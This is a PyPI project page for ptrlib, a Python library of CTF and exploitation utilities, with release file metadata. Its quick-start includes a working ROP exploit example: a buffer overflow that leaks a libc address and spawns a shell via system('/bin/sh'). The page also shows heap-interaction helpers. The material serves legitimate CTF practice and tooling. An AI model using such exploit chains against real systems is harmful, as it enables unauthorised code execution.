ptrlib
Python library which bundles security-related utilities.
Description
Ptrlib is a Python library for CTF players. It's designed to make it easy to write a complex program of cryptography, networking, exploit and so on.
Why not pwntools?
Ptrlib is designed to be as library-independent as possible. Also, ptrlib has some pros such as supporting Windows process.
Requirements
Supports: Python 3.10 or later
Library Dependency:
- pycryptodome
- pywin32 (when handling Windows process)
Optional features that require external programs or libraries:
SSHrequires:- ssh
IntelCPU.assemblerequires either of the following assemblers:- gcc and objcopy
- nasm
- keystone (
pip install keystone-engine)
IntelCPU.disassemblerequires either of the following disassemblers:- objdump
- capstone (
pip install capstone)
ArmCPUandMipsCPUrequire the corresponding cross-architecture compilers/decompilers such asaarch64-linux-gnu-gcc.
Usage
Testcases under /tests may also help you understand ptrlib.
Quick Document
There are many functions in ptrlib. In this section we try using it for a pwnable task.
You can run executable or create socket like this:
sock = Process("./pwn01", cwd="/home/ctf")
sock = Process(["./pwn01", "--debug"], env={"FLAG": "flag{dummy}"})
sock = Process("emacs -nw", shell=True, use_tty=True)
sock = Socket("localhost", 1234)
sock = Socket("example.com", 443, ssl=True, sni="neko")
sock = Socket("0.0.0.0", 8033, udp=True)
sock = SSH("example.com", username="ubuntu", password="p4s$w0rd")
sock = SSH("example.com", username="ubuntu", port=8022, identity="./id_rsa")
If you have the target binary or libc, it's recommended to load them first.
elf = ELF("./pwn01")
libc = ELF("./libc.so.6")
This doesn't fully analyse the binary so that it runs fast. Also, ELF class supports cache to reduce calculation.
Since version 2.4.0, ptrlib supports loading debug symbol.
libc = ELF("./libc.so.6")
print(libc.symbol("_IO_stdfile_1_lock"))
You can use some useful methods such as got, plt, symbol, section and so on.
The following is an example to craft ROP stager.
"""
Connect to host
"""
# Host name supports CTF-style
sock = Socket("nc localhost 1234")
# You can show hexdump for received/sent data for debug
#sock.debug = True
"""
Write ROP chain
"""
addr_stage2 = elf.section(".bss") + 0x400
payload = b'A' * 0x108
payload += p64([
# puts(puts@got)
elf.gadget("pop rdi; ret;"),
elf.got("puts"),
elf.plt("puts"),
# gets(stage2)
# You can use indices to skip useless gadgets (e.g., newlines)
elf.gadget("pop rdi; ret;")[1],
addr_stage2,
elf.plt("gets"),
# stack pivot
next(elf.gadget("pop rbp; ret;")), # old notation: `next` also works
addr_stage2,
elf.gadget("leave\n ret") # GCC-style
])
sock.sendlineafter("Data: ", payload)
"""
Leak libc address
"""
# You don't need to fill 8 bytes for u64
leak = u64(sock.recvline())
# This will show warning if base address looks incorrect
libc.base = leak - libc.symbol("puts")
payload = b'A' * 8
paylaod += p64([
elf.gadget("ret"),
# Automatically rebased after <ELF>.base is set
libc.search("/bin/sh"),
libc.symbol("system")
])
sock.sendline(payload)
sock.sh() # or sock.interactive()
Interaction with curses is supported since 2.1.0.
sock.recvscreen()
if sock.recvscreen(returns=list)[1][1] == '#':
sock.sendctrl("up")
else:
sock.sendctrl("esc")
Since v3.1.0, if you enclose I/O calls within defer_after, every receive in after, sendafter, and sendlineafter will be delayed.
def create(index: int, data: str):
io.after('> ').sendline('1')
io.after('Index: ').sendline(index)
io.sendline(data)
def delete(index: int):
io.sendlineafter('> ', '2')
io.sendlineafter('Index: ', index)
def show(index: int):
io.sendlineafter('> ', '3')
io.sendlineafter('Index: ', index)
return io.recvline()
with io.defer_after():
for i in range(100):
create(i, "A"*0x40)
leak = show(0) # Every deferred `after` will be called before `recv` calls.
for i in range(100):
delete(i)
io.sh()
"""The above is equivalent to the following code:"""
# Deferred "create"
for i in range(100):
io.send(f'1\n{i}\n' + 'A'*0x40 + '\n')
for i in range(100):
io.recvuntil('> ')
io.recvuntil('Index: ')
# Deferred "show"
io.send('2\n0\n')
io.recvuntil('> ')
io.recvuntil('Index: ')
leak = io.recvline()
# Deferred "delete"
for i in range(100):
io.send(f'3\n{i}\n')
for i in range(100):
io.recvuntil('> ')
io.recvuntil('Index: ')
io.sh()
Assemblers/disassemblers are available.
arm = ArmCPU(32)
arm.assemble('mov r0, #1; mov r1, #2')
x64 = CPU('intel', 64) # or IntelCPU
x64.assemble('pop rdi; pop rax; /*Set rdi and rax*/ ret // good gadget')
x64.assembler = 'nasm'
x64.assemble("mov eax, 1 ; EAX = 1") # ";" works as comment in NASM mode
insns = x64.disassemble(b"\x64\x89\xd0\x90")
print(insns[0].mnemonic) # mov
print(insns[0].operands) # ['eax', 'edx']
print(insns[1]) # 00000003: (90) nop
Install
Run pip install --upgrade ptrlib or python setup.py install.
Licence
Author
Contributor
Feel free to make a pull request / issue :)
- jptomoya
- Added CI for Windows
- Added SSL support
- Refactored test cases
- theoremoon
- Added/fixed several cryptography functions
- Added buffering of Socket/Process
- Added status check (CI test)
- keymoon
- Added algorithm package
- Added debug-symbol parser
Metadata
Release files for ptrlib 3.1.2
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| ptrlib-3.1.2-py3-none-any.whl | Python 3 | none | any | Details |
Release files / ptrlib-3.1.2-py3-none-any.whl
| Download URL | ptrlib-3.1.2-py3-none-any.whl |
|---|---|
| Size | 262.3 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
8d83f7abfc28b0735b9c7519f60abf0243e5f7bf89c122f6d49238987dafa285
|
|
BLAKE2b-256 checksum How to use checksums |
8940e2657f8b8fb39504b9d7979ddf08fe284c60b027a0710ad6c235d6dae401
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/5.1.1 CPython/3.12.5
|
Security for ptrlib 3.1.2
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.